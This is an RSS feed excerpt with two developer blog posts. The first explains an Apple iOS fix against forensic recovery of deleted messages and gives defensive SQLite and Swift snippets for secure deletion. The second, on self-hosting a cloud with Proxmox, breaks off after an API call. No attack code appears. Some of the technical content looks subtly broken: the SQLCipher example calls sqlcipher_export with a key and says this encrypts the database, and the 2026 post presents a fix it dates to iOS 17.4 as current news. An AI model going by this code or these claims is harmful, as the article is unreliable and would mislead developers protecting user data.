      <title>Apple Fixes the iPhone Bug That Cops Used to Extract Your Deleted Messages</title>
      <dc:creator>佐藤玲</dc:creator>
      <pubDate>Thu, 23 Apr 2026 15:51:39 +0000</pubDate>
      <link>https://dev.to/_d916d77be80d376e49d8e/apple-fixes-the-iphone-bug-that-cops-used-to-extract-your-deleted-messages-1279</link>
      <guid>https://dev.to/_d916d77be80d376e49d8e/apple-fixes-the-iphone-bug-that-cops-used-to-extract-your-deleted-messages-1279</guid>
      <description>&lt;h1&gt;
  
  
  Apple Fixes the iPhone Bug That Cops Used to Extract Your Deleted Messages
&lt;/h1&gt;

&lt;p&gt;If you've ever deleted a sensitive message and assumed it was gone forever — think again. For years, a quiet vulnerability in iOS allowed forensic tools used by law enforcement to recover deleted iMessages, WhatsApp chats, and other communications from iPhones. Apple has now fixed that bug, but the story behind it reveals something every developer, security engineer, and privacy-conscious user needs to understand about how "deleted" data actually works at the filesystem level.&lt;/p&gt;

&lt;p&gt;Let's break it down.&lt;/p&gt;




&lt;h2&gt;
  
  
  What Was the Bug?
&lt;/h2&gt;

&lt;p&gt;The vulnerability existed in how iOS handled &lt;strong&gt;SQLite database vacuuming&lt;/strong&gt; — or more precisely, how it &lt;em&gt;didn't&lt;/em&gt; handle it. Most messaging apps on iOS, including Apple's own iMessage, store conversation history in SQLite databases on the device. When you delete a message, the app marks those database rows as deleted, but the underlying data isn't always immediately overwritten.&lt;/p&gt;

&lt;p&gt;In standard SQLite behavior, deleted rows leave behind what's called &lt;strong&gt;free pages&lt;/strong&gt; — sectors of storage that are marked available for reuse but still contain the old data until something else writes over them. iOS was not aggressively reclaiming or zeroing out this space, which meant forensic tools could:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Image the raw NAND flash storage (via physical extraction or exploits)&lt;/li&gt;
&lt;li&gt;Parse the SQLite &lt;code&gt;.db&lt;/code&gt; files directly&lt;/li&gt;
&lt;li&gt;Recover rows from free pages that iOS considered "deleted"&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Tools like &lt;strong&gt;Cellebrite UFED&lt;/strong&gt; and &lt;strong&gt;GrayKey&lt;/strong&gt; — which are commercially sold almost exclusively to law enforcement agencies — that cops used routinely to extract this data from seized iPhones.&lt;/p&gt;




&lt;h2&gt;
  
  
  How SQLite Deletion Actually Works (The Developer View)
&lt;/h2&gt;

&lt;p&gt;This is worth understanding at a deeper level if you build apps that handle sensitive data.&lt;/p&gt;

&lt;p&gt;When SQLite deletes a row, it doesn't zero the memory. It marks the page as free in the database's internal free-list. Here's a minimal example:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="c1"&gt;-- Create a simple messages table&lt;/span&gt;
&lt;span class="k"&gt;CREATE&lt;/span&gt; &lt;span class="k"&gt;TABLE&lt;/span&gt; &lt;span class="n"&gt;messages&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;
  &lt;span class="n"&gt;id&lt;/span&gt; &lt;span class="nb"&gt;INTEGER&lt;/span&gt; &lt;span class="k"&gt;PRIMARY&lt;/span&gt; &lt;span class="k"&gt;KEY&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="n"&gt;sender&lt;/span&gt; &lt;span class="nb"&gt;TEXT&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="n"&gt;content&lt;/span&gt; &lt;span class="nb"&gt;TEXT&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="nb"&gt;timestamp&lt;/span&gt; &lt;span class="nb"&gt;INTEGER&lt;/span&gt;
&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="c1"&gt;-- Insert some data&lt;/span&gt;
&lt;span class="k"&gt;INSERT&lt;/span&gt; &lt;span class="k"&gt;INTO&lt;/span&gt; &lt;span class="n"&gt;messages&lt;/span&gt; &lt;span class="k"&gt;VALUES&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'Alice'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'Meet me at 9pm'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1700000000&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="k"&gt;INSERT&lt;/span&gt; &lt;span class="k"&gt;INTO&lt;/span&gt; &lt;span class="n"&gt;messages&lt;/span&gt; &lt;span class="k"&gt;VALUES&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'Bob'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s1"&gt;'Bring the documents'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;1700000100&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="c1"&gt;-- "Delete" a message&lt;/span&gt;
&lt;span class="k"&gt;DELETE&lt;/span&gt; &lt;span class="k"&gt;FROM&lt;/span&gt; &lt;span class="n"&gt;messages&lt;/span&gt; &lt;span class="k"&gt;WHERE&lt;/span&gt; &lt;span class="n"&gt;id&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="c1"&gt;-- The row is logically gone, but the page may still contain raw data&lt;/span&gt;
&lt;span class="c1"&gt;-- until VACUUM is run or the page is reused&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;To actually reclaim and zero that space, you need to run:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="k"&gt;VACUUM&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Or enable auto-vacuum at database creation:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight sql"&gt;&lt;code&gt;&lt;span class="n"&gt;PRAGMA&lt;/span&gt; &lt;span class="n"&gt;auto_vacuum&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;FULL&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Apple's fix essentially ensures iOS enforces more aggressive vacuuming and page zeroing on sensitive app databases — particularly for system-level apps like iMessage — so that deleted content doesn't linger in recoverable free pages.&lt;/p&gt;




&lt;h2&gt;
  
  
  What Did the Fix Actually Change?
&lt;/h2&gt;

&lt;p&gt;According to security researchers who analyzed the patch (included in &lt;strong&gt;iOS 17.4&lt;/strong&gt; and backported to iOS 16), Apple made several changes:&lt;/p&gt;

&lt;h3&gt;
  
  
  1. Forced VACUUM on Message Deletion
&lt;/h3&gt;

&lt;p&gt;The Messages app now triggers a &lt;code&gt;VACUUM&lt;/code&gt; or equivalent wipe operation when messages are deleted, rather than relying on passive page reuse.&lt;/p&gt;

&lt;h3&gt;
  
  
  2. Secure Enclave-Tied Encryption Keys Rotated More Aggressively
&lt;/h3&gt;

&lt;p&gt;Apple tightened how encryption keys tied to message databases are rotated after deletion events. Even if raw pages were somehow extracted, they'd be encrypted with keys that no longer exist on the device.&lt;/p&gt;

&lt;h3&gt;
  
  
  3. Reduced Forensic Tool Surface Area
&lt;/h3&gt;

&lt;p&gt;The patch addresses specific entrypoints that third-party forensic extraction tools relied on — including certain AFC (Apple File Connection) protocol behaviors that allowed deeper filesystem reads than intended.&lt;/p&gt;




&lt;h2&gt;
  
  
  Why This Matters for Developers
&lt;/h2&gt;

&lt;p&gt;If you're building an iOS app that handles &lt;strong&gt;any sensitive user data&lt;/strong&gt; — health records, financial information, private messages, authentication tokens — this bug should be a wake-up call.&lt;/p&gt;

&lt;p&gt;Here are the lessons to take away:&lt;/p&gt;

&lt;h3&gt;
  
  
  Don't Trust App-Level Deletion Alone
&lt;/h3&gt;

&lt;p&gt;Calling &lt;code&gt;context.delete(object)&lt;/code&gt; in Core Data or &lt;code&gt;DELETE FROM table&lt;/code&gt; in SQLite does &lt;strong&gt;not&lt;/strong&gt; guarantee the data is unrecoverable. You need to explicitly handle secure deletion.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight swift"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Example: Forcing a SQLite VACUUM in Swift after sensitive deletion&lt;/span&gt;
&lt;span class="kd"&gt;import&lt;/span&gt; &lt;span class="kt"&gt;SQLite3&lt;/span&gt;

&lt;span class="kd"&gt;func&lt;/span&gt; &lt;span class="nf"&gt;securePurgeDatabase&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;dbPath&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kt"&gt;String&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="k"&gt;var&lt;/span&gt; &lt;span class="nv"&gt;db&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kt"&gt;OpaquePointer&lt;/span&gt;&lt;span class="p"&gt;?&lt;/span&gt;

    &lt;span class="k"&gt;guard&lt;/span&gt; &lt;span class="nf"&gt;sqlite3_open&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;dbPath&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;db&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="kt"&gt;SQLITE_OK&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"Failed to open database"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="k"&gt;defer&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nf"&gt;sqlite3_close&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;db&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="nv"&gt;vacuumQuery&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s"&gt;"VACUUM;"&lt;/span&gt;
    &lt;span class="k"&gt;var&lt;/span&gt; &lt;span class="nv"&gt;errMsg&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kt"&gt;UnsafeMutablePointer&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="kt"&gt;Int8&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;?&lt;/span&gt;

    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="nf"&gt;sqlite3_exec&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;db&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;vacuumQuery&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kc"&gt;nil&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kc"&gt;nil&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;errMsg&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="kt"&gt;SQLITE_OK&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="nv"&gt;errorMessage&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kt"&gt;String&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;cString&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;errMsg&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"VACUUM failed: &lt;/span&gt;&lt;span class="se"&gt;\(&lt;/span&gt;&lt;span class="n"&gt;errorMessage&lt;/span&gt;&lt;span class="se"&gt;)&lt;/span&gt;&lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="nf"&gt;sqlite3_free&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;errMsg&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"Database securely vacuumed."&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Use the Data Protection API Correctly
&lt;/h3&gt;

&lt;p&gt;Apple's Data Protection API provides four protection classes. Most developers default to &lt;code&gt;.completeUntilFirstUserAuthentication&lt;/code&gt;, but for truly sensitive data you should use &lt;code&gt;.complete&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight swift"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Setting file protection on a sensitive database file&lt;/span&gt;
&lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="nv"&gt;fileURL&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kt"&gt;URL&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;fileURLWithPath&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;dbPath&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="k"&gt;try&lt;/span&gt; &lt;span class="kt"&gt;FileManager&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="k"&gt;default&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;setAttributes&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nv"&gt;protectionKey&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kt"&gt;FileProtectionType&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;complete&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
    &lt;span class="nv"&gt;ofItemAtPath&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;fileURL&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;path&lt;/span&gt;
&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;With &lt;code&gt;.complete&lt;/code&gt;, the file is encrypted and inaccessible whenever the device is locked — dramatically reducing the window for forensic extraction.&lt;/p&gt;

&lt;h3&gt;
  
  
  Consider Using Encrypted Database Libraries
&lt;/h3&gt;

&lt;p&gt;For apps with high security requirements, consider replacing plain SQLite with SQLCipher for iOS — an open-source extension that provides transparent 256-bit AES encryption of SQLite databases. Even if raw pages are extracted, they're meaningless without the key.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight swift"&gt;&lt;code&gt;&lt;span class="c1"&gt;// SQLCipher integration example (via CocoaPods: pod 'SQLCipher')&lt;/span&gt;
&lt;span class="c1"&gt;// Opening an encrypted database&lt;/span&gt;
&lt;span class="k"&gt;var&lt;/span&gt; &lt;span class="nv"&gt;db&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="kt"&gt;OpaquePointer&lt;/span&gt;&lt;span class="p"&gt;?&lt;/span&gt;
&lt;span class="nf"&gt;sqlite3_open&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;dbPath&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;db&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="k"&gt;let&lt;/span&gt; &lt;span class="nv"&gt;key&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s"&gt;"your-secure-derived-key"&lt;/span&gt;
&lt;span class="nf"&gt;sqlcipher_export&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;db&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;key&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="c1"&gt;// Encrypts the entire database&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  The Bigger Picture: Law Enforcement, Privacy, and Platform Power
&lt;/h2&gt;

&lt;p&gt;This fix quietly resolves something that has been a known capability in law enforcement circles for years. The forensic tools that cops used to extract deleted messages weren't exploiting some zero-day — they were leveraging predictable, documented behavior of SQLite and iOS's relatively passive approach to data cleanup.&lt;/p&gt;

&lt;p&gt;What's interesting from a policy perspective:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Apple knew this behavior existed&lt;/strong&gt; — it's inherent to how SQLite works&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Law enforcement agencies paid tens of thousands of dollars&lt;/strong&gt; for tools like Cellebrite specifically because this data was recoverable&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;The fix came quietly&lt;/strong&gt; — no CVE number was prominently announced, no dramatic security advisory. It was patched as part of a broader update.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This raises a question developers and security engineers should sit with: &lt;strong&gt;How many other "expected behaviors" in the platforms we build on are actually silent privacy vulnerabilities?&lt;/strong&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  What Should Users Do Right Now?
&lt;/h2&gt;

&lt;p&gt;If you're not a developer and you stumbled into this article:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Update to iOS 17.4 or later immediately.&lt;/strong&gt; The fix is there, but only if you install it.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Enable full device encryption&lt;/strong&gt; (it's on by default with a passcode, but verify in Settings → Face ID &amp;amp; Passcode).&lt;/li&gt;
&lt;li&gt;If you use a &lt;strong&gt;third-party messaging app&lt;/strong&gt;, check whether they have their own secure deletion implementations. Signal, for example, has always been more aggressive about this.&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  Developer Checklist: Secure Data Deletion on iOS
&lt;/h2&gt;

&lt;p&gt;Here's a quick reference checklist for any iOS app handling sensitive data:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;[ ] Use &lt;code&gt;FileProtectionType.complete&lt;/code&gt; for sensitive files at rest&lt;/li&gt;
&lt;li&gt;[ ] Run &lt;code&gt;VACUUM&lt;/code&gt; or enable &lt;code&gt;auto_vacuum = FULL&lt;/code&gt; after bulk deletions in SQLite&lt;/li&gt;
&lt;li&gt;[ ] Consider SQLCipher or encrypted storage solutions for high-sensitivity apps&lt;/li&gt;
&lt;li&gt;[ ] Rotate or destroy encryption keys when data is deleted (use Keychain with appropriate accessibility flags)&lt;/li&gt;
&lt;li&gt;[ ] Test with forensic tools in your own QA process — yes, some are available for research use&lt;/li&gt;
&lt;li&gt;[ ] Never store sensitive plaintext in &lt;code&gt;UserDefaults&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;[ ] Implement secure memory wiping for in-memory sensitive strings (avoid Swift &lt;code&gt;String&lt;/code&gt; for passwords; use &lt;code&gt;Data&lt;/code&gt; that can be zeroed)
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight swift"&gt;&lt;code&gt;&lt;span class="c1"&gt;// Zeroing sensitive data in memory&lt;/span&gt;
&lt;span class="k"&gt;var&lt;/span&gt; &lt;span class="nv"&gt;sensitiveBytes&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="kt"&gt;UInt8&lt;/span&gt;&lt;span class="p"&gt;](&lt;/span&gt;&lt;span class="nv"&gt;repeating&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;count&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;32&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="c1"&gt;// ... use sensitiveBytes ...&lt;/span&gt;
&lt;span class="c1"&gt;// Zero out before release&lt;/span&gt;
&lt;span class="nf"&gt;memset_s&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;sensitiveBytes&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;sensitiveBytes&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;count&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;sensitiveBytes&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;count&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  Final Thoughts
&lt;/h2&gt;

&lt;p&gt;The fact that Apple fixes this particular behavior is a win for privacy — but it took years and significant real-world exploitation before it happened. As developers, we can't always wait for platform vendors to close gaps that affect our users.&lt;/p&gt;

&lt;p&gt;Understand your data lifecycle. Know what "deleted" means at every layer of your stack — from your app's data model down to the raw filesystem. Treat deletion as a security operation, not just a UI event.&lt;/p&gt;

&lt;p&gt;The tools law enforcement used to extract these messages weren't magic. They were the predictable result of trusting that app-level deletion equals data destruction. It doesn't. Now you know.&lt;/p&gt;




&lt;p&gt;&lt;em&gt;If this breakdown was useful, follow me here on DEV for more deep-dives into iOS security, privacy engineering, and mobile development best practices. Drop a comment below if you want a follow-up post on implementing full secure deletion pipelines in iOS apps.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>security</category>
      <category>ios</category>
      <category>privacy</category>
      <category>apple</category>
    </item>
    <item>
      <title>I Am Building a Cloud: Lessons From Designing My Own Infrastructure From Scratch</title>
      <dc:creator>佐藤玲</dc:creator>
      <pubDate>Thu, 23 Apr 2026 15:50:43 +0000</pubDate>
      <link>https://dev.to/_d916d77be80d376e49d8e/i-am-building-a-cloud-lessons-from-designing-my-own-infrastructure-from-scratch-e3p</link>
      <guid>https://dev.to/_d916d77be80d376e49d8e/i-am-building-a-cloud-lessons-from-designing-my-own-infrastructure-from-scratch-e3p</guid>
      <description>&lt;h1&gt;
  
  
  I Am Building a Cloud: Lessons From Designing My Own Infrastructure From Scratch
&lt;/h1&gt;

&lt;p&gt;Three months ago, I typed &lt;code&gt;mkdir my-cloud&lt;/code&gt; and told myself: &lt;em&gt;how hard can it be?&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Spoiler: very. But also deeply rewarding in ways I didn't expect.&lt;/p&gt;

&lt;p&gt;This isn't a tutorial. It's a brutally honest account of what it actually takes when you decide to stop renting compute from AWS, GCP, or Azure and start &lt;strong&gt;building your own cloud&lt;/strong&gt; — even a small, self-hosted one. Whether you're doing this for learning, for cost savings at scale, or because you genuinely want control over your stack, there's a lot nobody tells you upfront.&lt;/p&gt;

&lt;p&gt;Let me fix that.&lt;/p&gt;




&lt;h2&gt;
  
  
  Why Build a Cloud at All?
&lt;/h2&gt;

&lt;p&gt;Before we dive into architecture diagrams and YAML files, let's be honest about motivation. Here are the real reasons developers end up down this rabbit hole:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Cost at scale.&lt;/strong&gt; Managed services are convenient but punishing at volume. At a certain number of VMs or data transfer gigabytes, the math tilts hard toward owning iron.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Control and compliance.&lt;/strong&gt; Some industries (healthcare, finance, government) need data sovereignty that public clouds make complicated.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Learning.&lt;/strong&gt; Nothing teaches you how Kubernetes actually works like building the thing that Kubernetes runs &lt;em&gt;on&lt;/em&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;The itch.&lt;/strong&gt; Sometimes you just want to know if you &lt;em&gt;can&lt;/em&gt;.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;I fall into the last two camps. I have a rack of second-hand servers in a co-location facility, a dangerous amount of free time, and a strong aversion to accepting "just use managed X" as a final answer.&lt;/p&gt;




&lt;h2&gt;
  
  
  What "Building a Cloud" Actually Means
&lt;/h2&gt;

&lt;p&gt;A cloud platform is not one thing. It's a layered stack of problems:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;┌──────────────────────────────┐
│     Developer Portal / API   │  ← Users interact here
├──────────────────────────────┤
│     Orchestration Layer      │  ← Kubernetes, Nomad, etc.
├──────────────────────────────┤
│     Networking Layer         │  ← SDN, load balancers, DNS
├──────────────────────────────┤
│     Storage Layer            │  ← Block, object, file
├──────────────────────────────┤
│     Compute Layer            │  ← Hypervisors, bare metal
├──────────────────────────────┤
│     Physical / Bare Metal    │  ← The actual servers
└──────────────────────────────┘
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Most tutorials pick one layer and call it a day. Building a cloud means you have to care about &lt;em&gt;all of them&lt;/em&gt; — and more importantly, how they talk to each other.&lt;/p&gt;




&lt;h2&gt;
  
  
  The Stack I Chose (And Why)
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Compute: Proxmox VE
&lt;/h3&gt;

&lt;p&gt;I run &lt;a href="https://www.proxmox.com/en/proxmox-ve" rel="noopener noreferrer"&gt;Proxmox VE&lt;/a&gt; as my hypervisor layer. It's open-source, handles both KVM virtual machines and LXC containers, and has a solid REST API I can script against.&lt;/p&gt;

&lt;p&gt;Spinning up a VM via the Proxmox API looks like this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="nt"&gt;-k&lt;/span&gt; &lt;span class="nt"&gt;-b&lt;/span&gt; &lt;span class="s2"&gt;"PVEAuthCookie=&lt;/span&gt;&lt;span class="k"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;TICKET&lt;/span&gt;&lt;span class="k"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s2"&gt;"CSRFPreventionToken: &lt;/span&gt;&lt;span class="k"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;CSRF&lt;/span&gt;&lt;span class="k"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-X&lt;/span&gt; POST &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="s2"&gt;"https://proxmox-host:8006/api2/json/nodes/pve/qemu"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-d&lt;/span&gt; &lt;span class="s1"&gt;'vmid=101&amp;amp;name=my-vm&amp;amp;memory=2048&amp;amp;cores=2&amp;amp;net0=virtio,bridge=vmbr0&amp;amp;ide2=local:iso/ubuntu-22.04.iso,media=cdrom&amp;amp;scsihw=virtio-scsi-pci&amp;amp;scsi0=local-lvm:20'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



